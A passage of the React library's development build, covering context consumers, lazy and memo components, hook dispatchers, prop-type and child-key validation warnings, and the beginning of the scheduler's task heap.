hasWarnedAboutUsingConsumerProvider = true;
error('Rendering <Context.Consumer.Provider> is not supported and will be removed in ' + 'a future major release. Did you mean to render <Context.Provider> instead?');
}
return context.Provider;
},
set: function (_Provider) {
context.Provider = _Provider;
}
},
_currentValue: {
get: function () {
return context._currentValue;
},
set: function (_currentValue) {
context._currentValue = _currentValue;
}
},
_currentValue2: {
get: function () {
return context._currentValue2;
},
set: function (_currentValue2) {
context._currentValue2 = _currentValue2;
}
},
_threadCount: {
get: function () {
return context._threadCount;
},
set: function (_threadCount) {
context._threadCount = _threadCount;
}
},
Consumer: {
get: function () {
if (!hasWarnedAboutUsingNestedContextConsumers) {
hasWarnedAboutUsingNestedContextConsumers = true;
error('Rendering <Context.Consumer.Consumer> is not supported and will be removed in ' + 'a future major release. Did you mean to render <Context.Consumer> instead?');
}
return context.Consumer;
}
},
displayName: {
get: function () {
return context.displayName;
},
set: function (displayName) {
if (!hasWarnedAboutDisplayNameOnConsumer) {
warn('Setting `displayName` on Context.Consumer has no effect. ' + "You should set it directly on the context with Context.displayName = '%s'.", displayName);
hasWarnedAboutDisplayNameOnConsumer = true;
}
}
}
}); // $FlowFixMe: Flow complains about missing properties because it doesn't understand defineProperty
context.Consumer = Consumer;
}
{
context._currentRenderer = null;
context._currentRenderer2 = null;
}
return context;
}
var Uninitialized = -1;
var Pending = 0;
var Resolved = 1;
var Rejected = 2;
function lazyInitializer(payload) {
if (payload._status === Uninitialized) {
var ctor = payload._result;
var thenable = ctor(); // Transition to the next state.
// This might throw either because it's missing or throws. If so, we treat it
// as still uninitialized and try again next time. Which is the same as what
// happens if the ctor or any wrappers processing the ctor throws. This might
// end up fixing it if the resolution was a concurrency bug.
thenable.then(function (moduleObject) {
if (payload._status === Pending || payload._status === Uninitialized) {
// Transition to the next state.
var resolved = payload;
resolved._status = Resolved;
resolved._result = moduleObject;
}
}, function (error) {
if (payload._status === Pending || payload._status === Uninitialized) {
// Transition to the next state.
var rejected = payload;
rejected._status = Rejected;
rejected._result = error;
}
});
if (payload._status === Uninitialized) {
// In case, we're still uninitialized, then we're waiting for the thenable
// to resolve. Set it as pending in the meantime.
var pending = payload;
pending._status = Pending;
pending._result = thenable;
}
}
if (payload._status === Resolved) {
var moduleObject = payload._result;
{
if (moduleObject === undefined) {
error('lazy: Expected the result of a dynamic imp' + 'ort() call. ' + 'Instead received: %s\n\nYour code should look like: \n ' + // Break up imports to avoid accidentally parsing them as dependencies.
'const MyComponent = lazy(() => imp' + "ort('./MyComponent'))\n\n" + 'Did you accidentally put curly braces around the import?', moduleObject);
}
}
{
if (!('default' in moduleObject)) {
error('lazy: Expected the result of a dynamic imp' + 'ort() call. ' + 'Instead received: %s\n\nYour code should look like: \n ' + // Break up imports to avoid accidentally parsing them as dependencies.
'const MyComponent = lazy(() => imp' + "ort('./MyComponent'))", moduleObject);
}
}
return moduleObject.default;
} else {
throw payload._result;
}
}
function lazy(ctor) {
var payload = {
// We use these fields to store the result.
_status: Uninitialized,
_result: ctor
};
var lazyType = {
$$typeof: REACT_LAZY_TYPE,
_payload: payload,
_init: lazyInitializer
};
{
// In production, this would just set it on the object.
var defaultProps;
var propTypes; // $FlowFixMe
Object.defineProperties(lazyType, {
defaultProps: {
configurable: true,
get: function () {
return defaultProps;
},
set: function (newDefaultProps) {
error('React.lazy(...): It is not supported to assign `defaultProps` to ' + 'a lazy component import. Either specify them where the component ' + 'is defined, or create a wrapping component around it.');
defaultProps = newDefaultProps; // Match production behavior more closely:
// $FlowFixMe
Object.defineProperty(lazyType, 'defaultProps', {
enumerable: true
});
}
},
propTypes: {
configurable: true,
get: function () {
return propTypes;
},
set: function (newPropTypes) {
error('React.lazy(...): It is not supported to assign `propTypes` to ' + 'a lazy component import. Either specify them where the component ' + 'is defined, or create a wrapping component around it.');
propTypes = newPropTypes; // Match production behavior more closely:
// $FlowFixMe
Object.defineProperty(lazyType, 'propTypes', {
enumerable: true
});
}
}
});
}
return lazyType;
}
function forwardRef(render) {
{
if (render != null && render.$$typeof === REACT_MEMO_TYPE) {
error('forwardRef requires a render function but received a `memo` ' + 'component. Instead of forwardRef(memo(...)), use ' + 'memo(forwardRef(...)).');
} else if (typeof render !== 'function') {
error('forwardRef requires a render function but was given %s.', render === null ? 'null' : typeof render);
} else {
if (render.length !== 0 && render.length !== 2) {
error('forwardRef render functions accept exactly two parameters: props and ref. %s', render.length === 1 ? 'Did you forget to use the ref parameter?' : 'Any additional parameter will be undefined.');
}
}
if (render != null) {
if (render.defaultProps != null || render.propTypes != null) {
error('forwardRef render functions do not support propTypes or defaultProps. ' + 'Did you accidentally pass a React component?');
}
}
}
var elementType = {
$$typeof: REACT_FORWARD_REF_TYPE,
render: render
};
{
var ownName;
Object.defineProperty(elementType, 'displayName', {
enumerable: false,
configurable: true,
get: function () {
return ownName;
},
set: function (name) {
ownName = name; // The inner component shouldn't inherit this display name in most cases,
// because the component may be used elsewhere.
// But it's nice for anonymous functions to inherit the name,
// so that our component-stack generation logic will display their frames.
// An anonymous function generally suggests a pattern like:
// React.forwardRef((props, ref) => {...});
// This kind of inner function is not used elsewhere so the side effect is okay.
if (!render.name && !render.displayName) {
render.displayName = name;
}
}
});
}
return elementType;
}
// Filter certain DOM attributes (e.g. src, href) if their values are empty strings.
var enableCache = false; // Only used in www builds.
var enableScopeAPI = false; // Experimental Create Event Handle API.
var warnOnSubscriptionInsideStartTransition = false;
var REACT_MODULE_REFERENCE = 0;
if (typeof Symbol === 'function') {
REACT_MODULE_REFERENCE = Symbol.for('react.module.reference');
}
function isValidElementType(type) {
if (typeof type === 'string' || typeof type === 'function') {
return true;
} // Note: typeof might be other than 'symbol' or 'number' (e.g. if it's a polyfill).
if (type === exports.Fragment || type === exports.Profiler || type === REACT_DEBUG_TRACING_MODE_TYPE || type === exports.StrictMode || type === exports.Suspense || type === exports.SuspenseList || type === REACT_LEGACY_HIDDEN_TYPE || type === REACT_OFFSCREEN_TYPE || enableScopeAPI || enableCache ) {
return true;
}
if (typeof type === 'object' && type !== null) {
if (type.$$typeof === REACT_LAZY_TYPE || type.$$typeof === REACT_MEMO_TYPE || type.$$typeof === REACT_PROVIDER_TYPE || type.$$typeof === REACT_CONTEXT_TYPE || type.$$typeof === REACT_FORWARD_REF_TYPE || // This needs to include all possible module reference object
// types supported by any Flight configuration anywhere since
// we don't know which Flight build this will end up being used
// with.
type.$$typeof === REACT_MODULE_REFERENCE || type.getModuleId !== undefined) {
return true;
}
}
return false;
}
function memo(type, compare) {
{
if (!isValidElementType(type)) {
error('memo: The first argument must be a component. Instead ' + 'received: %s', type === null ? 'null' : typeof type);
}
}
var elementType = {
$$typeof: REACT_MEMO_TYPE,
type: type,
compare: compare === undefined ? null : compare
};
{
var ownName;
Object.defineProperty(elementType, 'displayName', {
enumerable: false,
configurable: true,
get: function () {
return ownName;
},
set: function (name) {
ownName = name; // The inner component shouldn't inherit this display name in most cases,
// because the component may be used elsewhere.
// But it's nice for anonymous functions to inherit the name,
// so that our component-stack generation logic will display their frames.
// An anonymous function generally suggests a pattern like:
// React.memo((props) => {...});
// This kind of inner function is not used elsewhere so the side effect is okay.
if (!type.name && !type.displayName) {
type.displayName = name;
}
}
});
}
return elementType;
}
function resolveDispatcher() {
var dispatcher = ReactCurrentDispatcher.current;
{
if (dispatcher === null) {
error('Invalid hook call. Hooks can only be called inside of the body of a function component. This could happen for' + ' one of the following reasons:\n' + '1. You might have mismatching versions of React and the renderer (such as React DOM)\n' + '2. You might be breaking the Rules of Hooks\n' + '3. You might have more than one copy of React in the same app\n' + 'See https://reactjs.org/link/invalid-hook-call for tips about how to debug and fix this problem.');
}
} // Will result in a null access error if accessed outside render phase. We
// intentionally don't throw our own error because this is in a hot path.
// Also helps ensure this is inlined.
return dispatcher;
}
function useContext(Context) {
var dispatcher = resolveDispatcher();
{
// TODO: add a more generic warning for invalid values.
if (Context._context !== undefined) {
var realContext = Context._context; // Don't deduplicate because this legitimately causes bugs
// and nobody should be using this in existing code.
if (realContext.Consumer === Context) {
error('Calling useContext(Context.Consumer) is not supported, may cause bugs, and will be ' + 'removed in a future major release. Did you mean to call useContext(Context) instead?');
} else if (realContext.Provider === Context) {
error('Calling useContext(Context.Provider) is not supported. ' + 'Did you mean to call useContext(Context) instead?');
}
}
}
return dispatcher.useContext(Context);
}
function useState(initialState) {
var dispatcher = resolveDispatcher();
return dispatcher.useState(initialState);
}
function useReducer(reducer, initialArg, init) {
var dispatcher = resolveDispatcher();
return dispatcher.useReducer(reducer, initialArg, init);
}
function useRef(initialValue) {
var dispatcher = resolveDispatcher();
return dispatcher.useRef(initialValue);
}
function useEffect(create, deps) {
var dispatcher = resolveDispatcher();
return dispatcher.useEffect(create, deps);
}
function useLayoutEffect(create, deps) {
var dispatcher = resolveDispatcher();
return dispatcher.useLayoutEffect(create, deps);
}
function useCallback(callback, deps) {
var dispatcher = resolveDispatcher();
return dispatcher.useCallback(callback, deps);
}
function useMemo(create, deps) {
var dispatcher = resolveDispatcher();
return dispatcher.useMemo(create, deps);
}
function useImperativeHandle(ref, create, deps) {
var dispatcher = resolveDispatcher();
return dispatcher.useImperativeHandle(ref, create, deps);
}
function useDebugValue(value, formatterFn) {
{
var dispatcher = resolveDispatcher();
return dispatcher.useDebugValue(value, formatterFn);
}
}
function useTransition() {
var dispatcher = resolveDispatcher();
return dispatcher.useTransition();
}
function useDeferredValue(value) {
var dispatcher = resolveDispatcher();
return dispatcher.useDeferredValue(value);
}
function useOpaqueIdentifier() {
var dispatcher = resolveDispatcher();
return dispatcher.useOpaqueIdentifier();
}
function useMutableSource(source, getSnapshot, subscribe) {
var dispatcher = resolveDispatcher();
return dispatcher.useMutableSource(source, getSnapshot, subscribe);
}
// Helpers to patch console.logs to avoid logging during side-effect free
// replaying on render function. This currently only patches the object
// lazily which won't cover if the log function was extracted eagerly.
// We could also eagerly patch the method.
var disabledDepth = 0;
var prevLog;
var prevInfo;
var prevWarn;
var prevError;
var prevGroup;
var prevGroupCollapsed;
var prevGroupEnd;
function disabledLog() {}
disabledLog.__reactDisabledLog = true;
function disableLogs() {
{
if (disabledDepth === 0) {
/* eslint-disable react-internal/no-production-logging */
prevLog = console.log;
prevInfo = console.info;
prevWarn = console.warn;
prevError = console.error;
prevGroup = console.group;
prevGroupCollapsed = console.groupCollapsed;
prevGroupEnd = console.groupEnd; // https://github.com/facebook/react/issues/19099
var props = {
configurable: true,
enumerable: true,
value: disabledLog,
writable: true
}; // $FlowFixMe Flow thinks console is immutable.
Object.defineProperties(console, {
info: props,
log: props,
warn: props,
error: props,
group: props,
groupCollapsed: props,
groupEnd: props
});
/* eslint-enable react-internal/no-production-logging */
}
disabledDepth++;
}
}
function reenableLogs() {
{
disabledDepth--;
if (disabledDepth === 0) {
/* eslint-disable react-internal/no-production-logging */
var props = {
configurable: true,
enumerable: true,
writable: true
}; // $FlowFixMe Flow thinks console is immutable.
Object.defineProperties(console, {
log: assign({}, props, {
value: prevLog
}),
info: assign({}, props, {
value: prevInfo
}),
warn: assign({}, props, {
value: prevWarn
}),
error: assign({}, props, {
value: prevError
}),
group: assign({}, props, {
value: prevGroup
}),
groupCollapsed: assign({}, props, {
value: prevGroupCollapsed
}),
groupEnd: assign({}, props, {
value: prevGroupEnd
})
});
/* eslint-enable react-internal/no-production-logging */
}
if (disabledDepth < 0) {
error('disabledDepth fell below zero. ' + 'This is a bug in React. Please file an issue.');
}
}
}
var ReactCurrentDispatcher$1 = ReactSharedInternals.ReactCurrentDispatcher;
var prefix;
function describeBuiltInComponentFrame(name, source, ownerFn) {
{
if (prefix === undefined) {
// Extract the VM specific prefix used by each line.
try {
throw Error();
} catch (x) {
var match = x.stack.trim().match(/\n( *(at )?)/);
prefix = match && match[1] || '';
}
} // We use the prefix to ensure our stacks line up with native stack frames.
return '\n' + prefix + name;
}
}
var reentry = false;
var componentFrameCache;
{
var PossiblyWeakMap = typeof WeakMap === 'function' ? WeakMap : Map;
componentFrameCache = new PossiblyWeakMap();
}
function describeNativeComponentFrame(fn, construct) {
// If something asked for a stack inside a fake render, it should get ignored.
if ( !fn || reentry) {
return '';
}
{
var frame = componentFrameCache.get(fn);
if (frame !== undefined) {
return frame;
}
}
var control;
reentry = true;
var previousPrepareStackTrace = Error.prepareStackTrace; // $FlowFixMe It does accept undefined.
Error.prepareStackTrace = undefined;
var previousDispatcher;
{
previousDispatcher = ReactCurrentDispatcher$1.current; // Set the dispatcher in DEV because this might be call in the render function
// for warnings.
ReactCurrentDispatcher$1.current = null;
disableLogs();
}
try {
// This should throw.
if (construct) {
// Something should be setting the props in the constructor.
var Fake = function () {
throw Error();
}; // $FlowFixMe
Object.defineProperty(Fake.prototype, 'props', {
set: function () {
// We use a throwing setter instead of frozen or non-writable props
// because that won't throw in a non-strict mode function.
throw Error();
}
});
if (typeof Reflect === 'object' && Reflect.construct) {
// We construct a different control for this case to include any extra
// frames added by the construct call.
try {
Reflect.construct(Fake, []);
} catch (x) {
control = x;
}
Reflect.construct(fn, [], Fake);
} else {
try {
Fake.call();
} catch (x) {
control = x;
}
fn.call(Fake.prototype);
}
} else {
try {
throw Error();
} catch (x) {
control = x;
}
fn();
}
} catch (sample) {
// This is inlined manually because closure doesn't do it for us.
if (sample && control && typeof sample.stack === 'string') {
// This extracts the first frame from the sample that isn't also in the control.
// Skipping one frame that we assume is the frame that calls the two.
var sampleLines = sample.stack.split('\n');
var controlLines = control.stack.split('\n');
var s = sampleLines.length - 1;
var c = controlLines.length - 1;
while (s >= 1 && c >= 0 && sampleLines[s] !== controlLines[c]) {
// We expect at least one stack frame to be shared.
// Typically this will be the root most one. However, stack frames may be
// cut off due to maximum stack limits. In this case, one maybe cut off
// earlier than the other. We assume that the sample is longer or the same
// and there for cut off earlier. So we should find the root most frame in
// the sample somewhere in the control.
c--;
}
for (; s >= 1 && c >= 0; s--, c--) {
// Next we find the first one that isn't the same which should be the
// frame that called our sample function and the control.
if (sampleLines[s] !== controlLines[c]) {
// In V8, the first line is describing the message but other VMs don't.
// If we're about to return the first line, and the control is also on the same
// line, that's a pretty good indicator that our sample threw at same line as
// the control. I.e. before we entered the sample frame. So we ignore this result.
// This can happen if you passed a class to function component, or non-function.
if (s !== 1 || c !== 1) {
do {
s--;
c--; // We may still have similar intermediate frames from the construct call.
// The next one that isn't the same should be our match though.
if (c < 0 || sampleLines[s] !== controlLines[c]) {
// V8 adds a "new" prefix for native classes. Let's remove it to make it prettier.
var _frame = '\n' + sampleLines[s].replace(' at new ', ' at ');
{
if (typeof fn === 'function') {
componentFrameCache.set(fn, _frame);
}
} // Return the line we found.
return _frame;
}
} while (s >= 1 && c >= 0);
}
break;
}
}
}
} finally {
reentry = false;
{
ReactCurrentDispatcher$1.current = previousDispatcher;
reenableLogs();
}
Error.prepareStackTrace = previousPrepareStackTrace;
} // Fallback to just using the name if we couldn't make it throw.
var name = fn ? fn.displayName || fn.name : '';
var syntheticFrame = name ? describeBuiltInComponentFrame(name) : '';
{
if (typeof fn === 'function') {
componentFrameCache.set(fn, syntheticFrame);
}
}
return syntheticFrame;
}
function describeFunctionComponentFrame(fn, source, ownerFn) {
{
return describeNativeComponentFrame(fn, false);
}
}
function shouldConstruct(Component) {
var prototype = Component.prototype;
return !!(prototype && prototype.isReactComponent);
}
function describeUnknownElementTypeFrameInDEV(type, source, ownerFn) {
if (type == null) {
return '';
}
if (typeof type === 'function') {
{
return describeNativeComponentFrame(type, shouldConstruct(type));
}
}
if (typeof type === 'string') {
return describeBuiltInComponentFrame(type);
}
switch (type) {
case exports.Suspense:
return describeBuiltInComponentFrame('Suspense');
case exports.SuspenseList:
return describeBuiltInComponentFrame('SuspenseList');
}
if (typeof type === 'object') {
switch (type.$$typeof) {
case REACT_FORWARD_REF_TYPE:
return describeFunctionComponentFrame(type.render);
case REACT_MEMO_TYPE:
// Memo may contain any component type so we recursively resolve it.
return describeUnknownElementTypeFrameInDEV(type.type, source, ownerFn);
case REACT_LAZY_TYPE:
{
var lazyComponent = type;
var payload = lazyComponent._payload;
var init = lazyComponent._init;
try {
// Lazy may contain any component type so we recursively resolve it.
return describeUnknownElementTypeFrameInDEV(init(payload), source, ownerFn);
} catch (x) {}
}
}
}
return '';
}
var loggedTypeFailures = {};
var ReactDebugCurrentFrame$1 = ReactSharedInternals.ReactDebugCurrentFrame;
function setCurrentlyValidatingElement(element) {
{
if (element) {
var owner = element._owner;
var stack = describeUnknownElementTypeFrameInDEV(element.type, element._source, owner ? owner.type : null);
ReactDebugCurrentFrame$1.setExtraStackFrame(stack);
} else {
ReactDebugCurrentFrame$1.setExtraStackFrame(null);
}
}
}
function checkPropTypes(typeSpecs, values, location, componentName, element) {
{
// $FlowFixMe This is okay but Flow doesn't know it.
var has = Function.call.bind(hasOwnProperty$1);
for (var typeSpecName in typeSpecs) {
if (has(typeSpecs, typeSpecName)) {
var error$1 = void 0; // Prop type validation may throw. In case they do, we don't want to
// fail the render phase where it didn't fail before. So we log it.
// After these have been cleaned up, we'll let them throw.
try {
// This is intentionally an invariant that gets caught. It's the same
// behavior as without this statement except with a better message.
if (typeof typeSpecs[typeSpecName] !== 'function') {
var err = Error((componentName || 'React class') + ': ' + location + ' type `' + typeSpecName + '` is invalid; ' + 'it must be a function, usually from the `prop-types` package, but received `' + typeof typeSpecs[typeSpecName] + '`.' + 'This often happens because of typos such as `PropTypes.function` instead of `PropTypes.func`.');
err.name = 'Invariant Violation';
throw err;
}
error$1 = typeSpecs[typeSpecName](values, typeSpecName, componentName, location, null, 'SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED');
} catch (ex) {
error$1 = ex;
}
if (error$1 && !(error$1 instanceof Error)) {
setCurrentlyValidatingElement(element);
error('%s: type specification of %s' + ' `%s` is invalid; the type checker ' + 'function must return `null` or an `Error` but returned a %s. ' + 'You may have forgotten to pass an argument to the type checker ' + 'creator (arrayOf, instanceOf, objectOf, oneOf, oneOfType, and ' + 'shape all require an argument).', componentName || 'React class', location, typeSpecName, typeof error$1);
setCurrentlyValidatingElement(null);
}
if (error$1 instanceof Error && !(error$1.message in loggedTypeFailures)) {
// Only monitor this failure once because there tends to be a lot of the
// same error.
loggedTypeFailures[error$1.message] = true;
setCurrentlyValidatingElement(element);
error('Failed %s type: %s', location, error$1.message);
setCurrentlyValidatingElement(null);
}
}
}
}
}
function setCurrentlyValidatingElement$1(element) {
{
if (element) {
var owner = element._owner;
var stack = describeUnknownElementTypeFrameInDEV(element.type, element._source, owner ? owner.type : null);
setExtraStackFrame(stack);
} else {
setExtraStackFrame(null);
}
}
}
var propTypesMisspellWarningShown;
{
propTypesMisspellWarningShown = false;
}
function getDeclarationErrorAddendum() {
if (ReactCurrentOwner.current) {
var name = getComponentNameFromType(ReactCurrentOwner.current.type);
if (name) {
return '\n\nCheck the render method of `' + name + '`.';
}
}
return '';
}
function getSourceInfoErrorAddendum(source) {
if (source !== undefined) {
var fileName = source.fileName.replace(/^.*[\\\/]/, '');
var lineNumber = source.lineNumber;
return '\n\nCheck your code at ' + fileName + ':' + lineNumber + '.';
}
return '';
}
function getSourceInfoErrorAddendumForProps(elementProps) {
if (elementProps !== null && elementProps !== undefined) {
return getSourceInfoErrorAddendum(elementProps.__source);
}
return '';
}
/**
* Warn if there's no key explicitly set on dynamic arrays of children or
* object keys are not valid. This allows us to keep track of children between
* updates.
*/
var ownerHasKeyUseWarning = {};
function getCurrentComponentErrorInfo(parentType) {
var info = getDeclarationErrorAddendum();
if (!info) {
var parentName = typeof parentType === 'string' ? parentType : parentType.displayName || parentType.name;
if (parentName) {
info = "\n\nCheck the top-level render call using <" + parentName + ">.";
}
}
return info;
}
/**
* Warn if the element doesn't have an explicit key assigned to it.
* This element is in an array. The array could grow and shrink or be
* reordered. All children that haven't already been validated are required to
* have a "key" property assigned to it. Error statuses are cached so a warning
* will only be shown once.
*
* @internal
* @param {ReactElement} element Element that requires a key.
* @param {*} parentType element's parent's type.
*/
function validateExplicitKey(element, parentType) {
if (!element._store || element._store.validated || element.key != null) {
return;
}
element._store.validated = true;
var currentComponentErrorInfo = getCurrentComponentErrorInfo(parentType);
if (ownerHasKeyUseWarning[currentComponentErrorInfo]) {
return;
}
ownerHasKeyUseWarning[currentComponentErrorInfo] = true; // Usually the current owner is the offender, but if it accepts children as a
// property, it may be the creator of the child that's responsible for
// assigning it a key.
var childOwner = '';
if (element && element._owner && element._owner !== ReactCurrentOwner.current) {
// Give the component that originally created this child.
childOwner = " It was passed a child from " + getComponentNameFromType(element._owner.type) + ".";
}
{
setCurrentlyValidatingElement$1(element);
error('Each child in a list should have a unique "key" prop.' + '%s%s See https://reactjs.org/link/warning-keys for more information.', currentComponentErrorInfo, childOwner);
setCurrentlyValidatingElement$1(null);
}
}
/**
* Ensure that every element either is passed in a static location, in an
* array with an explicit keys property defined, or in an object literal
* with valid key property.
*
* @internal
* @param {ReactNode} node Statically passed child of any type.
* @param {*} parentType node's parent's type.
*/
function validateChildKeys(node, parentType) {
if (typeof node !== 'object') {
return;
}
if (isArray(node)) {
for (var i = 0; i < node.length; i++) {
var child = node[i];
if (isValidElement(child)) {
validateExplicitKey(child, parentType);
}
}
} else if (isValidElement(node)) {
// This element was passed in a valid location.
if (node._store) {
node._store.validated = true;
}
} else if (node) {
var iteratorFn = getIteratorFn(node);
if (typeof iteratorFn === 'function') {
// Entry iterators used to provide implicit keys,
// but now we print a separate warning for them later.
if (iteratorFn !== node.entries) {
var iterator = iteratorFn.call(node);
var step;
while (!(step = iterator.next()).done) {
if (isValidElement(step.value)) {
validateExplicitKey(step.value, parentType);
}
}
}
}
}
}
/**
* Given an element, validate that its props follow the propTypes definition,
* provided by the type.
*
* @param {ReactElement} element
*/
function validatePropTypes(element) {
{
var type = element.type;
if (type === null || type === undefined || typeof type === 'string') {
return;
}
var propTypes;
if (typeof type === 'function') {
propTypes = type.propTypes;
} else if (typeof type === 'object' && (type.$$typeof === REACT_FORWARD_REF_TYPE || // Note: Memo only checks outer props here.
// Inner props are checked in the reconciler.
type.$$typeof === REACT_MEMO_TYPE)) {
propTypes = type.propTypes;
} else {
return;
}
if (propTypes) {
// Intentionally inside to avoid triggering lazy initializers:
var name = getComponentNameFromType(type);
checkPropTypes(propTypes, element.props, 'prop', name, element);
} else if (type.PropTypes !== undefined && !propTypesMisspellWarningShown) {
propTypesMisspellWarningShown = true; // Intentionally inside to avoid triggering lazy initializers:
var _name = getComponentNameFromType(type);
error('Component %s declared `PropTypes` instead of `propTypes`. Did you misspell the property assignment?', _name || 'Unknown');
}
if (typeof type.getDefaultProps === 'function' && !type.getDefaultProps.isReactClassApproved) {
error('getDefaultProps is only used on classic React.createClass ' + 'definitions. Use a static property named `defaultProps` instead.');
}
}
}
/**
* Given a fragment, validate that it can only be provided with fragment props
* @param {ReactElement} fragment
*/
function validateFragmentProps(fragment) {
{
var keys = Object.keys(fragment.props);
for (var i = 0; i < keys.length; i++) {
var key = keys[i];
if (key !== 'children' && key !== 'key') {
setCurrentlyValidatingElement$1(fragment);
error('Invalid prop `%s` supplied to `React.Fragment`. ' + 'React.Fragment can only have `key` and `children` props.', key);
setCurrentlyValidatingElement$1(null);
break;
}
}
if (fragment.ref !== null) {
setCurrentlyValidatingElement$1(fragment);
error('Invalid attribute `ref` supplied to `React.Fragment`.');
setCurrentlyValidatingElement$1(null);
}
}
}
function createElementWithValidation(type, props, children) {
var validType = isValidElementType(type); // We warn in this case but don't throw. We expect the element creation to
// succeed and there will likely be errors in render.
if (!validType) {
var info = '';
if (type === undefined || typeof type === 'object' && type !== null && Object.keys(type).length === 0) {
info += ' You likely forgot to export your component from the file ' + "it's defined in, or you might have mixed up default and named imports.";
}
var sourceInfo = getSourceInfoErrorAddendumForProps(props);
if (sourceInfo) {
info += sourceInfo;
} else {
info += getDeclarationErrorAddendum();
}
var typeString;
if (type === null) {
typeString = 'null';
} else if (isArray(type)) {
typeString = 'array';
} else if (type !== undefined && type.$$typeof === REACT_ELEMENT_TYPE) {
typeString = "<" + (getComponentNameFromType(type.type) || 'Unknown') + " />";
info = ' Did you accidentally export a JSX literal instead of a component?';
} else {
typeString = typeof type;
}
{
error('React.createElement: type is invalid -- expected a string (for ' + 'built-in components) or a class/function (for composite ' + 'components) but got: %s.%s', typeString, info);
}
}
var element = createElement.apply(this, arguments); // The result can be nullish if a mock or a custom function is used.
// TODO: Drop this when these are no longer allowed as the type argument.
if (element == null) {
return element;
} // Skip key warning if the type isn't valid since our key validation logic
// doesn't expect a non-string/function type and can throw confusing errors.
// We don't want exception behavior to differ between dev and prod.
// (Rendering will throw with a helpful message and as soon as the type is
// fixed, the key warnings will appear.)
if (validType) {
for (var i = 2; i < arguments.length; i++) {
validateChildKeys(arguments[i], type);
}
}
if (type === exports.Fragment) {
validateFragmentProps(element);
} else {
validatePropTypes(element);
}
return element;
}
var didWarnAboutDeprecatedCreateFactory = false;
function createFactoryWithValidation(type) {
var validatedFactory = createElementWithValidation.bind(null, type);
validatedFactory.type = type;
{
if (!didWarnAboutDeprecatedCreateFactory) {
didWarnAboutDeprecatedCreateFactory = true;
warn('React.createFactory() is deprecated and will be removed in ' + 'a future major release. Consider using JSX ' + 'or use React.createElement() directly instead.');
} // Legacy hook: remove it
Object.defineProperty(validatedFactory, 'type', {
enumerable: false,
get: function () {
warn('Factory.type is deprecated. Access the class directly ' + 'before passing it to createFactory.');
Object.defineProperty(this, 'type', {
value: type
});
return type;
}
});
}
return validatedFactory;
}
function cloneElementWithValidation(element, props, children) {
var newElement = cloneElement.apply(this, arguments);
for (var i = 2; i < arguments.length; i++) {
validateChildKeys(arguments[i], newElement.type);
}
validatePropTypes(newElement);
return newElement;
}
function createMutableSource(source, getVersion) {
var mutableSource = {
_getVersion: getVersion,
_source: source,
_workInProgressVersionPrimary: null,
_workInProgressVersionSecondary: null
};
{
mutableSource._currentPrimaryRenderer = null;
mutableSource._currentSecondaryRenderer = null; // Used to detect side effects that update a mutable source during render.
// See https://github.com/facebook/react/issues/19948
mutableSource._currentlyRenderingFiber = null;
mutableSource._initialVersionAsOfFirstRender = null;
}
return mutableSource;
}
var enableSchedulerDebugging = false;
var enableProfiling = false;
var frameYieldMs = 5;
function push(heap, node) {
var index = heap.length;
heap.push(node);
siftUp(heap, node, index);
}
function peek(heap) {
return heap.length === 0 ? null : heap[0];
}
function pop(heap) {
if (heap.length === 0) {
return null;
}
var first = heap[0];
var last = heap.pop();
if (last !== first) {
heap[0] = last;
siftDown(heap, last, 0);
}
return first;
}
function siftUp(heap, node, i) {
var index = i;
while (index > 0) {
var parentIndex = index - 1 >>> 1;
var parent = heap[parentIndex];
if (compare(parent, node) > 0) {
// The parent is larger. Swap positions.
heap[parentIndex] = node;
heap[index] = parent;
index = parentIndex;
} else {
// The parent is smaller. Exit.
return;
}
}
}
function siftDown(heap, node, i) {
var index = i;
var length = heap.length;
var halfLength = length >>> 1;
while (index < halfLength) {
var leftIndex = (index + 1) * 2 - 1;
var left = heap[leftIndex];
var rightIndex = leftIndex + 1;
var right = heap[rightIndex]; // If the left or right node is smaller, swap with the smaller of those.
if (compare(left, node) < 0) {
if (rightIndex < length && compare(right, left) < 0) {
heap[index] = right;
heap[rightIndex] = node;
index = rightIndex;
} else {
heap[index] = left;
heap[leftIndex] = node;
index = leftIndex;
}
} else if (rightIndex < length && compare(right, node) < 0) {
heap[index] = right;
heap[rightIndex] = node;
index = rightIndex;
} else {
// Neither child is smaller. Exit.
return;
}
}
}
function compare(a, b) {
// Compare sort index first, then task id.
var diff = a.sortIndex - b.sortIndex;
return diff !== 0 ? diff : a.id - b.id;
}
// TODO: Use symbols?
var ImmediatePriority = 1;
var UserBlockingPriority = 2;
var NormalPriority = 3;
var LowPriority = 4;
var IdlePriority = 5;
function markTaskErrored(task, ms) {
}
/* eslint-disable no-var */
var getCurrentTime;
var hasPerformanceNow = typeof performance === 'object' && typeof performance.now === 'function';
if (hasPerformanceNow) {
var localPerformance = performance;
getCurrentTime = function () {
return localPerformance.now();
};
} else {
var localDate = Date;
var initialTime = localDate.now();
getCurrentTime = function () {
return localDate.now() - initialTime;
};
} // Max 31 bit integer. The max integer size in V8 for 32-bit systems.
// Math.pow(2, 30) - 1
// 0b111111111111111111111111111111
var maxSigned31BitInt = 1073741823; // Times out immediately
var IMMEDIATE_PRIORITY_TIMEOUT = -1; // Eventually times out
var USER_BLOCKING_PRIORITY_TIMEOUT = 250;
var NORMAL_PRIORITY_TIMEOUT = 5000;
var LOW_PRIORITY_TIMEOUT = 10000; // Never times out
var IDLE_PRIORITY_TIMEOUT = maxSigned31BitInt; // Tasks are stored on a min heap
var taskQueue = [];
var timerQueue = []; // Incrementing id counter. Used to maintain insertion order.
var taskIdCounter = 1; // Pausing the scheduler is useful for debugging.
var currentTask = null;
var currentPriorityLevel = NormalPriority; // This is set while performing work, to prevent re-entrance.
var isPerformingWork = false;
var isHostCallbackScheduled = false;
var isHostTimeoutScheduled = false; // Capture local references to native APIs, in case a polyfill overrides them.
var localSetTimeout = typeof setTimeout === 'function' ? setTimeout : null;
var localClearTimeout = typeof clearTimeout === 'function' ? clearTimeout : null;
var localSetImmediate = typeof setImmediate !== 'undefined' ? setImmediate : null; // IE and Node.js + jsdom
var isInputPending = typeof navigator !== 'undefined' && navigator.scheduling !== undefined && navigator.scheduling.isInputPending !== undefined ? navigator.scheduling.isInputPending.bind(navigator.scheduling) : null;
function advanceTimers(currentTime) {
// Check for tasks that are no longer delayed and add them to the queue.
var timer = peek(timerQueue);
while (timer !== null) {
if (timer.callback === null) {
// Timer was cancelled.
pop(timerQueue);
} else if (timer.startTime <= currentTime) {
// Timer fired. Transfer to the task queue.
pop(timerQueue);
timer.sortIndex = timer.expirationTime;
